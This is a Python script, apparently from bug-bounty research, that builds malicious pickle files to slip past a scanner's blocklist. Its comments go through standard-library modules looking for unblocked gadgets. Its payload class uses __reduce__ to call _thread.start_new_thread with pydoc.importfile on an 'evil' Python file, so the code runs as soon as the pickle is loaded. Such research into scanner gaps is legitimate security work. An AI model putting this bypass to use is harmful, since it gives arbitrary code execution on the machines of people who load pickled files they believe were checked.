import pickle, pickletools, io, os ART = r"D:\0projects\bountykimi\tmp\artifacts" MARK = r"C:/Users/uozer/AppData/Local/Temp/opencode" def globs_of(data): memo={}; globs=set() ops=list(pickletools.genops(io.BytesIO(data))) for n in range(len(ops)): op=ops[n] if op[0].name=='MEMOIZE' and n>0: memo[len(memo)]=ops[n-1][1] elif op[0].name in ('GLOBAL','INST'): globs.add(tuple(op[1].split(' ',1))) elif op[0].name=='STACK_GLOBAL': vals=[] for off in range(1,n): pv=ops[n-off] if pv[0].name in ('MEMOIZE','PUT','BINPUT','LONG_BINPUT'): continue if pv[0].name in ('GET','BINGET','LONG_BINGET'): vals.append(memo[int(pv[1])]) elif pv[0].name in ('SHORT_BINUNICODE','UNICODE','BINUNICODE','BINUNICODE8'): vals.append(pv[1]) else: vals.append('unknown') if len(vals)==2: break if len(vals)==2: globs.add((vals[1],vals[0])) return sorted(globs) def emit(name, obj): data = pickle.dumps(obj, protocol=4) open(os.path.join(ART, name), "wb").write(data) print(f"=== {name}", globs_of(data)) # ssl.SSLSocket? needs socket. ssl.SSLContext() constructor no connect. # urllib.request.urlopen f34 already SSRF. # urllib.request.urlcleanup? no. # urllib.request.pathname2url? no. # pdb blocklisted. bdb blocklisted. # cgitb? no. # reprlib? no. # difflib? no. # filecmp? no exec; filecmp.cmp reads files - file read compare, no output. skip. # tempfile confirmed. # glob? no. # fnmatch? no. # linecache? no effect. # shlex? no. # msilib? windows-only, reads MSI. msilib.init_database? creates db file -> file write? niche. skip. # winsound.PlaySound(file) - reads file, plays. no. winsound.Beep no. # mimetypes.init(files) reads mime files. file read, no output. skip. # platform? no. # keyword? no. # pydoc_data? no. # queue? no. # _thread? low-level. thread.start_new? not module-level in unblocked? '_thread' module. _thread.start_new_thread(func, args) spawns thread running func! func arg is pickled callable... nested. The callable would be a global e.g. pydoc.importfile. So reduce -> (_thread.start_new_thread, (pydoc.importfile, (path,))). _thread not blocklisted! import _thread class T1: def __reduce__(self): import pydoc return (_thread.start_new_thread, (pydoc.importfile, (os.path.join(ART, "f11_evil.py"),))) emit("f42_thread_spawn.pkl", T1()) # concurrent.futures? module 'concurrent.futures' not blocklisted. ThreadPoolExecutor(max_workers) constructor spawns pool but no exec. Executor.submit needed. # BUT: concurrent.futures.ThreadPoolExecutor().submit? needs instance. # _thread.start_new_thread is cleaner. # sched.scheduler().enter? needs instance. # signal.set_wakeup_fd? no. # resource? unix. # grp/pwd? unix. # syslog? unix. # pty blocklisted. print("done")